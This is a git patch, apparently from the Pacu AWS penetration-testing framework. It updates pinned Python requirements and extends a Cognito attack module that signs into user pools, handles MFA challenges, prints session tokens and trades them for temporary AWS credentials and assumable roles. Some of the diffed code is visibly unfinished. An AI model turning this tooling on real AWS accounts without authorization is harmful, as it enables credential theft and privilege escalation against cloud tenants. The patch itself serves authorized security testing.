--hash=sha256:4ad3232f5e926d6718ec31cfc1fcadfde020920e278684144551c91769c7bc18 -chalice==1.24.1 ; python_version >= "3.6" and python_version < "4.0" \ +cffi==1.14.6 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:06c54a68935738d206570b20da5ef2b6b6d92b38ef3ec45c5422c0ebaf338d4d \ + --hash=sha256:0c0591bee64e438883b0c92a7bed78f6290d40bf02e54c5bf0978eaf36061771 \ + --hash=sha256:19ca0dbdeda3b2615421d54bef8985f72af6e0c47082a8d26122adac81a95872 \ + --hash=sha256:22b9c3c320171c108e903d61a3723b51e37aaa8c81255b5e7ce102775bd01e2c \ + --hash=sha256:26bb2549b72708c833f5abe62b756176022a7b9a7f689b571e74c8478ead51dc \ + --hash=sha256:33791e8a2dc2953f28b8d8d300dde42dd929ac28f974c4b4c6272cb2955cb762 \ + --hash=sha256:3c8d896becff2fa653dc4438b54a5a25a971d1f4110b32bd3068db3722c80202 \ + --hash=sha256:4373612d59c404baeb7cbd788a18b2b2a8331abcc84c3ba40051fcd18b17a4d5 \ + --hash=sha256:487d63e1454627c8e47dd230025780e91869cfba4c753a74fda196a1f6ad6548 \ + --hash=sha256:48916e459c54c4a70e52745639f1db524542140433599e13911b2f329834276a \ + --hash=sha256:4922cd707b25e623b902c86188aca466d3620892db76c0bdd7b99a3d5e61d35f \ + --hash=sha256:55af55e32ae468e9946f741a5d51f9896da6b9bf0bbdd326843fec05c730eb20 \ + --hash=sha256:57e555a9feb4a8460415f1aac331a2dc833b1115284f7ded7278b54afc5bd218 \ + --hash=sha256:5d4b68e216fc65e9fe4f524c177b54964af043dde734807586cf5435af84045c \ + --hash=sha256:64fda793737bc4037521d4899be780534b9aea552eb673b9833b01f945904c2e \ + --hash=sha256:6d6169cb3c6c2ad50db5b868db6491a790300ade1ed5d1da29289d73bbe40b56 \ + --hash=sha256:7bcac9a2b4fdbed2c16fa5681356d7121ecabf041f18d97ed5b8e0dd38a80224 \ + --hash=sha256:80b06212075346b5546b0417b9f2bf467fea3bfe7352f781ffc05a8ab24ba14a \ + --hash=sha256:818014c754cd3dba7229c0f5884396264d51ffb87ec86e927ef0be140bfdb0d2 \ + --hash=sha256:8eb687582ed7cd8c4bdbff3df6c0da443eb89c3c72e6e5dcdd9c81729712791a \ + --hash=sha256:99f27fefe34c37ba9875f224a8f36e31d744d8083e00f520f133cab79ad5e819 \ + --hash=sha256:9f3e33c28cd39d1b655ed1ba7247133b6f7fc16fa16887b120c0c670e35ce346 \ + --hash=sha256:a8661b2ce9694ca01c529bfa204dbb144b275a31685a075ce123f12331be790b \ + --hash=sha256:a9da7010cec5a12193d1af9872a00888f396aba3dc79186604a09ea3ee7c029e \ + --hash=sha256:aedb15f0a5a5949ecb129a82b72b19df97bbbca024081ed2ef88bd5c0a610534 \ + --hash=sha256:b315d709717a99f4b27b59b021e6207c64620790ca3e0bde636a6c7f14618abb \ + --hash=sha256:ba6f2b3f452e150945d58f4badd92310449876c4c954836cfb1803bdd7b422f0 \ + --hash=sha256:c33d18eb6e6bc36f09d793c0dc58b0211fccc6ae5149b808da4a62660678b156 \ + --hash=sha256:c9a875ce9d7fe32887784274dd533c57909b7b1dcadcc128a2ac21331a9765dd \ + --hash=sha256:c9e005e9bd57bc987764c32a1bee4364c44fdc11a3cc20a40b93b444984f2b87 \ + --hash=sha256:d2ad4d668a5c0645d281dcd17aff2be3212bc109b33814bbb15c4939f44181cc \ + --hash=sha256:d950695ae4381ecd856bcaf2b1e866720e4ab9a1498cba61c602e56630ca7195 \ + --hash=sha256:e22dcb48709fc51a7b58a927391b23ab37eb3737a98ac4338e2448bef8559b33 \ + --hash=sha256:e8c6a99be100371dbb046880e7a282152aa5d6127ae01783e37662ef73850d8f \ + --hash=sha256:e9dc245e3ac69c92ee4c167fbdd7428ec1956d4e754223124991ef29eb57a09d \ + --hash=sha256:eb687a11f0a7a1839719edd80f41e459cc5366857ecbed383ff376c4e3cc6afd \ + --hash=sha256:eb9e2a346c5238a30a746893f23a9535e700f8192a68c07c0258e7ece6ff3728 \ + --hash=sha256:ed38b924ce794e505647f7c331b22a693bee1538fdf46b0222c4717b42f744e7 \ + --hash=sha256:f0010c6f9d1a4011e429109fda55a225921e3206e7f62a0c22a35344bfd13cca \ + --hash=sha256:f0c5d1acbfca6ebdd6b1e3eded8d261affb6ddcf2186205518f1428b8569bb99 \ + --hash=sha256:f10afb1004f102c7868ebfe91c28f4a712227fe4cb24974350ace1f90e1febbf \ + --hash=sha256:f174135f5609428cc6e1b9090f9268f5c8935fddb1b25ccb8255a2d50de6789e \ + --hash=sha256:f3ebe6e73c319340830a9b2825d32eb6d8475c1dac020b4f0aa774ee3b898d1c \ + --hash=sha256:f627688813d0a4140153ff532537fbe4afea5a3dffce1f9deb7f91f848a832b5 \ + --hash=sha256:fd4305f86f53dfd8cd3522269ed7fc34856a8ee3709a5e28b2836b2db9d4cd69 +chalice==1.24.1 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:2d0e7f441b4e98c744edbe3ef7a6cd642703257ae6c839198e1160dbc4233709 \ --hash=sha256:cc61396dd0d7ffb5f773e879cce6ed5e5802a7d919c874a61418a1f7a7434eaa -charset-normalizer==2.0.4 ; python_version >= "3.6" and python_version < "4.0" \ +charset-normalizer==2.0.4 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:0c8911edd15d19223366a194a513099a302055a962bca2cec0f54b8b63175d8b \ --hash=sha256:f23667ebe1084be45f6ae0538e4a5a865206544097e4e8bbcacf42cd02a348f3 -click==7.1.2 ; python_version >= "3.6" and python_version < "4.0" \ +click==7.1.2 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a \ --hash=sha256:dacca89f4bfadd5de3d7489b7c8a566eee0d3676333fbb50030263894c38c0dc -colorama==0.4.3 ; python_version >= "3.6" and python_version < "4.0" \ +colorama==0.4.3 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff \ --hash=sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1 -docutils==0.15.2 ; python_version >= "3.6" and python_version < "4.0" \ +cryptography==3.4.7 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:0f1212a66329c80d68aeeb39b8a16d54ef57071bf22ff4e521657b27372e327d \ + --hash=sha256:1e056c28420c072c5e3cb36e2b23ee55e260cb04eee08f702e0edfec3fb51959 \ + --hash=sha256:240f5c21aef0b73f40bb9f78d2caff73186700bf1bc6b94285699aff98cc16c6 \ + --hash=sha256:26965837447f9c82f1855e0bc8bc4fb910240b6e0d16a664bb722df3b5b06873 \ + --hash=sha256:37340614f8a5d2fb9aeea67fd159bfe4f5f4ed535b1090ce8ec428b2f15a11f2 \ + --hash=sha256:3d10de8116d25649631977cb37da6cbdd2d6fa0e0281d014a5b7d337255ca713 \ + --hash=sha256:3d8427734c781ea5f1b41d6589c293089704d4759e34597dce91014ac125aad1 \ + --hash=sha256:7ec5d3b029f5fa2b179325908b9cd93db28ab7b85bb6c1db56b10e0b54235177 \ + --hash=sha256:8e56e16617872b0957d1c9742a3f94b43533447fd78321514abbe7db216aa250 \ + --hash=sha256:b01fd6f2737816cb1e08ed4807ae194404790eac7ad030b34f2ce72b332f5586 \ + --hash=sha256:bf40af59ca2465b24e54f671b2de2c59257ddc4f7e5706dbd6930e26823668d3 \ + --hash=sha256:de4e5f7f68220d92b7637fc99847475b59154b7a1b3868fb7385337af54ac9ca \ + --hash=sha256:eb8cc2afe8b05acbd84a43905832ec78e7b3873fb124ca190f574dca7389a87d \ + --hash=sha256:ee77aa129f481be46f8d92a1a7db57269a2f23052d5f2433b4621bb457081cc9 +docutils==0.15.2 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:6c4f696463b79f1fb8ba0c594b63840ebd41f059e92b31957c46b74a4599b6d0 \ --hash=sha256:9e4d7ecfc600058e07ba661411a2b7de2fd0fafa17d1a7f7361cd47b1175c827 \ --hash=sha256:a2aeea129088da402665e92e0b25b04b073c04b2dce4ab65caaa38b7ce2e1a99 -dsnap==1.0.0 ; python_version >= "3.6" and python_version < "4.0" \ +dsnap==1.0.0 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:9009a98a70770259d18cae88d806a5baf7cd80ecf2ee148888831f0ba28b8f24 \ --hash=sha256:fc11265438fb5a0af79f02f276468e75b0b36f49d545c85454831c2e5698e035 -idna==3.2 ; python_version >= "3.6" and python_version < "4.0" \ +ecdsa==0.18.0 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:190348041559e21b22a1d65cee485282ca11a6f81d503fddb84d5017e9ed1e49 \ + --hash=sha256:80600258e7ed2f16b9aa1d7c295bd70194109ad5a30fdee0eaeefef1d4c559dd +envs==1.4 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:4a1fcf85e4d4443e77c348ff7cdd3bfc4c0178b181d447057de342e4172e5ed1 \ + --hash=sha256:9d8435c6985d1cdd68299e04c58e2bdb8ae6cf66b2596a8079e6f9a93f2a0398 +idna==3.2 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:14475042e284991034cb48e06f6851428fb14c4dc953acd9be9a5e95c7b6dd7a \ --hash=sha256:467fbad99067910785144ce333826c71fb0e63a425657295239737f7ecd125f3 -inquirer==2.7.0 ; python_version >= "3.6" and python_version < "4.0" \ +inquirer==2.7.0 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:d15e15de1ad5696f1967e7a23d8e2fce69d2e41a70b008948d676881ed94c3a5 \ --hash=sha256:e819188de0ca7985a99c282176c6f50fb08b0d33867fd1965d3f3e97d6c8f83f -graphviz==0.20.1; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:8c58f14adaa3b947daf26c19bc1e98c4e0702cdc31cf99153e6f06904d492bf8 \ - --hash=sha256:587c58a223b51611c0cf461132da386edd896a029524ca61a1462b880bf97977 -jinxed==1.1.0 ; python_version >= "3.6" and python_version < "4.0" and platform_system == "Windows" \ +jinxed==1.1.0 ; python_version >= "3.7" and python_version < "4.0" and platform_system == "Windows" \ --hash=sha256:6a61ccf963c16aa885304f27e6e5693783676897cea0c7f223270c8b8e78baf8 \ --hash=sha256:d8f1731f134e9e6b04d95095845ae6c10eb15cb223a5f0cabdea87d4a279c305 -jmespath==0.10.0 ; python_version >= "3.6" and python_version < "4.0" \ +jmespath==0.10.0 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9 \ --hash=sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f -mypy-extensions==0.4.3 ; python_version >= "3.6" and python_version < "4.0" \ +mypy-extensions==0.4.3 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d \ --hash=sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8 -pip==21.2.4 ; python_version >= "3.6" and python_version < "4.0" \ +pip==21.2.4 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:0eb8a1516c3d138ae8689c0c1a60fde7143310832f9dc77e11d8a4bc62de193b \ --hash=sha256:fa9ebb85d3fd607617c0c44aca302b1b45d87f9c2a1649b46c26167ca4296323 -pyasn1==0.4.8 ; python_version >= "3.6" and python_version < "4" \ - --hash=sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359 \ - --hash=sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576 \ - --hash=sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf \ - --hash=sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7 \ +policyuniverse==1.5.0.20220613 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:be5d9148bf6cc2586b02aa85242e9c9cdc94e4469f9b393114950cae299eeb5d \ + --hash=sha256:c66b1fb907750643a1987eb419b2112ae3f9c527c013429525f9fab989c9a2d7 +pyasn1==0.4.8 ; python_version >= "3.7" and python_version < "4" \ --hash=sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d \ - --hash=sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00 \ - --hash=sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8 \ - --hash=sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86 \ - --hash=sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12 \ - --hash=sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776 \ - --hash=sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba \ - --hash=sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2 \ - --hash=sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3 -python-dateutil==2.8.2 ; python_version >= "3.6" and python_version < "4.0" \ + --hash=sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba +pycognito==2023.5.0 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:0a73c2bdc966465df3a61cba445f58beee9734638be7b10681792725651168eb \ + --hash=sha256:3843cfff56969f7c4b0b2fd499877941d0bf33e39c4541dc896c2b83bef5db24 +pycparser==2.20 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0 \ + --hash=sha256:7582ad22678f0fcd81102833f60ef8d0e57288b6b5fb00323d101be910e35705 +pypng==0.20220715.0 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:4a43e969b8f5aaafb2a415536c1a8ec7e341cd6a3f957fd5b5f32a4cfeed902c \ + --hash=sha256:739c433ba96f078315de54c0db975aee537cbc3e1d0ae4ed9aab0ca1e427e2c1 +python-dateutil==2.8.2 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86 \ --hash=sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9 -python-editor==1.0.4 ; python_version >= "3.6" and python_version < "4.0" \ +python-editor==1.0.4 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:1bf6e860a8ad52a14c3ee1252d5dc25b2030618ed80c022598f00176adc8367d \ --hash=sha256:51fda6bcc5ddbbb7063b2af7509e43bd84bfc32a4ff71349ec7847713882327b \ - --hash=sha256:5f98b069316ea1c2ed3f67e7f5df6c0d8f10b689964a4a811ff64f0106819ec8 \ - --hash=sha256:c3da2053dbab6b29c94e43c486ff67206eafbe7eb52dbec7390b5e2fb05aac77 \ - --hash=sha256:ea87e17f6ec459e780e4221f295411462e0d0810858e055fc514684350a2f522 -pyyaml==5.4.1 ; python_version >= "3.6" and python_version < "4.0" \ + --hash=sha256:5f98b069316ea1c2ed3f67e7f5df6c0d8f10b689964a4a811ff64f0106819ec8 +python-jose[cryptography]==3.3.0 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:55779b5e6ad599c6336191246e95eb2293a9ddebd555f796a65f838f07e5d78a \ + --hash=sha256:9b1376b023f8b298536eedd47ae1089bcdb848f1535ab30555cd92002d78923a +pyyaml==5.4.1 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:08682f6b72c722394747bddaf0aa62277e02557c0fd1c42cb853016a38f8dedf \ --hash=sha256:0f5f5786c0e09baddcd8b4b45f20a7b5d61a7e7e99846e3c799b05c7c53fa696 \ --hash=sha256:129def1b7c1bf22faffd67b8f3724645203b79d8f4cc81f674654d9902cb4393 \ @@ -112,28 +178,31 @@ pyyaml==5.4.1 ; python_version >= "3.6" and python_version < "4.0" \ --hash=sha256:fd7f6999a8070df521b6384004ef42833b9bd62cfee11a09bda1079b4b704247 \ --hash=sha256:fdc842473cd33f45ff6bce46aea678a54e3d21f1b61a7750ce3c498eedfe25d6 \ --hash=sha256:fe69978f3f768926cfa37b867e3843918e012cf83f680806599ddce33c2c68b0 -readchar==2.0.1 ; python_version >= "3.6" and python_version < "4.0" \ +qrcode==7.4.2 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:581dca7a029bcb2deef5d01068e39093e80ef00b4a61098a2182eac59d01643a \ + --hash=sha256:9dd969454827e127dbd93696b20747239e6d540e082937c90f14ac95b30f5845 +readchar==2.0.1 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:3ac34aab28563bc895f73233d5c08b28f951ca190d5850b8d4bec973132a8dca \ --hash=sha256:ed00b7a49bb12f345319d9fa393f289f03670310ada2beb55e8c3f017c648f1e -requests==2.26.0 ; python_version >= "3.6" and python_version < "4.0" \ +requests==2.26.0 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24 \ --hash=sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7 -rsa==4.7.2 ; python_version >= "3.6" and python_version < "4" \ +rsa==4.7.2 ; python_version >= "3.7" and python_version < "4" \ --hash=sha256:78f9a9bf4e7be0c5ded4583326e7461e3a3c5aae24073648b4bdfa797d78c9d2 \ --hash=sha256:9d689e6ca1b3038bc82bf8d23e944b6b6037bc02301a574935b2dd946e0353b9 -s3transfer==0.6.0 ; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:2ed07d3866f523cc561bf4a00fc5535827981b117dd7876f036b0c1aca42c947 \ - --hash=sha256:06176b74f3a15f61f1b4f25a1fc29a4429040b7647133a463da8fa5bd28d5ecd -setuptools==59.6.0 ; python_version >= "3.6" and python_version < "4.0" \ +s3transfer==0.5.0 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:50ed823e1dc5868ad40c8dc92072f757aa0e653a192845c94a3b676f4a62da4c \ + --hash=sha256:9c1dc369814391a6bda20ebbf4b70a0f34630592c9aa520856bf384916af2803 +setuptools==59.6.0 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:22c7348c6d2976a52632c67f7ab0cdf40147db7789f9aed18734643fe9cf3373 \ --hash=sha256:4ce92f1e1f8f01233ee9952c04f6b81d1e02939d6e1b488428154974a4d0783e -six==1.16.0 ; python_version >= "3.6" and python_version < "4.0" \ +six==1.16.0 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926 \ --hash=sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254 -sqlalchemy-utils==0.37.9 ; python_version >= "3.6" and python_version < "4.0" \ +sqlalchemy-utils==0.37.9 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:4667edbdcb1ece011076b69772ef524bfbb17cc97e03f11ee6b85d98e7741d61 \ --hash=sha256:bb6f4da8ac044cb0dd4d0278b1fb434141a5ee9d1881c757a076830ddbb04160 -sqlalchemy==1.3.24 ; python_version >= "3.6" and python_version < "4.0" \ +sqlalchemy==1.3.24 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:014ea143572fee1c18322b7908140ad23b3994036ef4c0d630110faf942652f8 \ --hash=sha256:0172423a27fbcae3751ef016663b72e1a516777de324a76e30efa170dbd3dd2d \ --hash=sha256:01aa5f803db724447c1d423ed583e42bf5264c597fd55e4add4301f163b0be48 \ @@ -168,20 +237,16 @@ sqlalchemy==1.3.24 ; python_version >= "3.6" and python_version < "4.0" \ --hash=sha256:fc1f2a5a5963e2e73bac4926bdaf7790c4d7d77e8fc0590817880e22dd9d0b8b \ --hash=sha256:fc4cddb0b474b12ed7bdce6be1b9edc65352e8ce66bc10ff8cbbfb3d4047dbf4 \ --hash=sha256:fcb251305fa24a490b6a9ee2180e5f8252915fb778d3dafc70f9cc3f863827b9 -typing-extensions==3.10.0.0 ; python_version >= "3.6" and python_version < "4.0" \ +typing-extensions==3.10.0.0 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497 \ --hash=sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342 \ --hash=sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84 -typing==3.6.4 ; python_version >= "3.6" and python_version < "3.7" \ - --hash=sha256:3a887b021a77b292e151afb75323dea88a7bc1b3dfa92176cff8e44c8b68bddf \ - --hash=sha256:b2c689d54e1144bbcfd191b0832980a21c2dbcf7b5ff7a66248a60c90e951eb8 \ - --hash=sha256:d400a9344254803a2368533e4533a4200d21eb7b6b729c173bc38201a74db3f2 -urllib3==1.26.6 ; python_version >= "3.6" and python_version < "4" \ +urllib3==1.26.6 ; python_version >= "3.7" and python_version < "4" \ --hash=sha256:39fb8672126159acb139a7718dd10806104dec1e2f0f6c88aab05d17df10c8d4 \ --hash=sha256:f57b4c16c62fa2760b7e3d97c35b255512fb6b59a259730f36ba32ce9f8e342f -wcwidth==0.2.5 ; python_version >= "3.6" and python_version < "4.0" \ +wcwidth==0.2.5 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784 \ --hash=sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83 -wheel==0.37.1 ; python_version >= "3.6" and python_version < "4.0" \ +wheel==0.37.1 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:4bdcd7d840138086126cd09254dc6195fb4fc6f01c050a1d7236f2630db1d22a \ --hash=sha256:e9a504e793efbca1b8e0e9cb979a249cf4a0a7b5b8c9e8b65a5e39d49529c1c4 From e3e3f72989d83a4f599d2e7b761fabc22c1106ee Mon Sep 17 00:00:00 2001 From: root Date: Tue, 25 Jul 2023 14:43:57 -0400 Subject: [PATCH 2/9] Ready for general enum and attack use. Starting beta. --- pacu/core/models.py | 2 + pacu/modules/cognito__attack/main.py | 223 ++++++++++-- pacu/modules/cognito__enum/main.py | 488 +++++++++++++++++++++------ tests/test_pacu_data_command.py | 2 +- 4 files changed, 573 insertions(+), 142 deletions(-) diff --git a/pacu/core/models.py b/pacu/core/models.py index 264ec70e..5d29cd48 100644 --- a/pacu/core/models.py +++ b/pacu/core/models.py @@ -71,6 +71,7 @@ class PacuSession(Base, ModelUpdateMixin): 'CloudTrail', 'CloudWatch', 'CodeBuild', + 'Cognito', 'Config', 'DataPipeline', 'DynamoDB', @@ -115,6 +116,7 @@ class PacuSession(Base, ModelUpdateMixin): CloudTrail = Column(JSONType, nullable=False, default=dict) CloudWatch = Column(JSONType, nullable=False, default=dict) CodeBuild = Column(JSONType, nullable=False, default=dict) + Cognito = Column(JSONType, nullable=False, default=dict) Config = Column(JSONType, nullable=False, default=dict) DataPipeline = Column(JSONType, nullable=False, default=dict) DynamoDB = Column(JSONType, nullable=False, default=dict) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index c46d91b0..3f51b395 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -1,6 +1,7 @@ import base64 import webbrowser import qrcode +import json import boto3 import pycognito from pycognito import Cognito @@ -112,6 +113,7 @@ def main(args, pacu_main): attack_users = [] all_new_regions = [] attack_user_pool_clients = [] + cognito_identity_pools = [] session = pacu_main.get_active_session() args = parser.parse_args(args) @@ -181,6 +183,9 @@ def main(args, pacu_main): ] cognito_identity_pools = session.Cognito["IdentityPools"] + if not args.regions: + regions = [] + if args.identity_pools: cognito_identity_pools = [] if not args.regions: @@ -424,7 +429,7 @@ def main(args, pacu_main): up_client["UserPoolId"], up_client["Region"], ) - if credentials is not False: + if credentials is not None: print("Temporary credentials retrieved!") print(credentials) attack_user["Credentials"]["AccessKeyId"] = credentials[ @@ -448,25 +453,23 @@ def main(args, pacu_main): up_client["UserPoolId"], cognito_identity_pools, identity_client, + identity_pool, ) attack_user["NewTokens"] = new_tokens attack_user["NewCredentials"] = new_credentials roles = get_assumable_roles( tokens["AuthenticationResult"]["IdToken"] ) - attack_user["NewRoleTokens"] = prompt_assume_roles(client, roles) + attack_user["NewRoleTokens"] = prompt_assume_roles( + identity_client, + identity_pool, + roles, + region, + up_client["UserPoolId"], + tokens["AuthenticationResult"]["IdToken"], + ) if attack_user["NewRoleTokens"] is not None: - print( - "New role tokens retrieved! Attempting to receive temporary credentials from identity pool." - ) - new_role_credentials = get_identity_credentials( - cognito_identity_pools, - identity_client, - attack_user["NewRoleTokens"]["IdToken"], - up_client["UserPoolId"], - up_client["Region"], - ) - attack_user["NewRoleCredentials"] = new_role_credentials + attack_user["NewRoleCredentials"] = attack_user["NewRoleTokens"] attack_user_data = client.get_user( AccessToken=tokens["AuthenticationResult"]["AccessToken"] ) @@ -474,10 +477,110 @@ def main(args, pacu_main): attack_users.append(attack_user) continue except SoftwareTokenMFAChallengeException as error: - code = input( - "Please enter the MFA code generated by your application: " + try: + code = input( + "Please enter the MFA code generated by your application: " + ) + print("Entering final MFA challenge") + error_string = str(error) + aws2session = re.search(r"'Session': '(.*?)'", error_string) + if aws2session: + aws2sessionfinal = aws2session.group(1) + else: + print("NO MATCH FOUND") + continue + + tokens = client.respond_to_auth_challenge( + ClientId=up_client["ClientId"], + ChallengeName="SOFTWARE_TOKEN_MFA", + Session=aws2sessionfinal, + ChallengeResponses={ + "USERNAME": args.username, + "SOFTWARE_TOKEN_MFA_CODE": code, + }, + ) + except ClientError as err: + print(err) + continue + print("You're signed in as " + args.username + "!") + print( + "Your access token is: " + + tokens["AuthenticationResult"]["AccessToken"] + ) + print("Your ID token is: " + tokens["AuthenticationResult"]["IdToken"]) + print( + "Your refresh token is: " + + tokens["AuthenticationResult"]["RefreshToken"] ) - tokens = aws.respond_to_software_token_mfa_challenge(code) + print( + "Your token type is: " + tokens["AuthenticationResult"]["TokenType"] + ) + attack_user["Username"] = args.username + attack_user["Region"] = up_client["Region"] + attack_user["UserPoolId"] = up_client["UserPoolId"] + attack_user["ClientId"] = up_client["ClientId"] + attack_user["Tokens"]["AccessToken"] = tokens["AuthenticationResult"][ + "AccessToken" + ] + attack_user["Tokens"]["IdToken"] = tokens["AuthenticationResult"][ + "IdToken" + ] + attack_user["Tokens"]["RefreshToken"] = tokens["AuthenticationResult"][ + "RefreshToken" + ] + attack_user["Tokens"]["TokenType"] = tokens["AuthenticationResult"][ + "TokenType" + ] + credentials = get_identity_credentials( + cognito_identity_pools, + identity_client, + tokens["AuthenticationResult"]["IdToken"], + up_client["UserPoolId"], + up_client["Region"], + ) + if credentials is not None: + print("Temporary credentials retrieved!") + print(credentials) + attack_user["Credentials"]["AccessKeyId"] = credentials[ + "AccessKeyId" + ] + attack_user["Credentials"]["SecretKey"] = credentials["SecretKey"] + attack_user["Credentials"]["SessionToken"] = credentials[ + "SessionToken" + ] + attack_user["Credentials"]["Expiration"] = credentials["Expiration"] + new_tokens, new_credentials = get_custom_attributes( + client, + tokens, + args.password, + up_client["Region"], + up_client["ClientId"], + up_client["UserPoolId"], + cognito_identity_pools, + identity_client, + identity_pool, + ) + attack_user["NewTokens"] = new_tokens + attack_user["NewCredentials"] = new_credentials + roles = get_assumable_roles(tokens["AuthenticationResult"]["IdToken"]) + attack_user["NewRoleTokens"] = prompt_assume_roles( + identity_client, + identity_pool, + roles, + region, + up_client["UserPoolId"], + tokens["AuthenticationResult"]["IdToken"], + ) + if attack_user["NewRoleTokens"] is not None: + attack_user["NewRoleCredentials"] = attack_user["NewRoleTokens"] + if new_tokens is None: + attack_user_data = client.get_user( + AccessToken=tokens["AuthenticationResult"]["AccessToken"] + ) + attack_user["UserAttributes"] = attack_user_data["UserAttributes"] + attack_users.append(attack_user) + exit + if tokens["ChallengeName"] == "MFA_SETUP": try: print("First, we need to set up an MFA application.") @@ -583,7 +686,7 @@ def main(args, pacu_main): up_client["UserPoolId"], up_client["Region"], ) - if credentials is not False: + if credentials is not None: print("Temporary credentials retrieved!") print(credentials) attack_user["Credentials"]["AccessKeyId"] = credentials[ @@ -607,13 +710,21 @@ def main(args, pacu_main): up_client["UserPoolId"], cognito_identity_pools, identity_client, + identity_pool, ) attack_user["NewTokens"] = new_tokens attack_user["NewCredentials"] = new_credentials roles = get_assumable_roles( tokens["AuthenticationResult"]["IdToken"] ) - attack_user["NewRoleTokens"] = prompt_assume_roles(client, roles) + attack_user["NewRoleTokens"] = prompt_assume_roles( + identity_client, + identity_pool, + roles, + region, + up_client["UserPoolId"], + tokens["AuthenticationResult"]["IdToken"], + ) if attack_user["NewRoleTokens"] is not None: print( "New role tokens retrieved! Attempting to receive temporary credentials from identity pool." @@ -692,7 +803,7 @@ def main(args, pacu_main): up_client["UserPoolId"], up_client["Region"], ) - if credentials is not False: + if credentials is not None: print("Temporary credentials retrieved!") print(credentials) attack_user["Credentials"]["AccessKeyId"] = credentials[ @@ -712,11 +823,19 @@ def main(args, pacu_main): up_client["UserPoolId"], cognito_identity_pools, identity_client, + identity_pool, ) attack_user["NewTokens"] = new_tokens attack_user["NewCredentials"] = new_credentials roles = get_assumable_roles(tokens["AuthenticationResult"]["IdToken"]) - attack_user["NewRoleTokens"] = prompt_assume_roles(client, roles) + 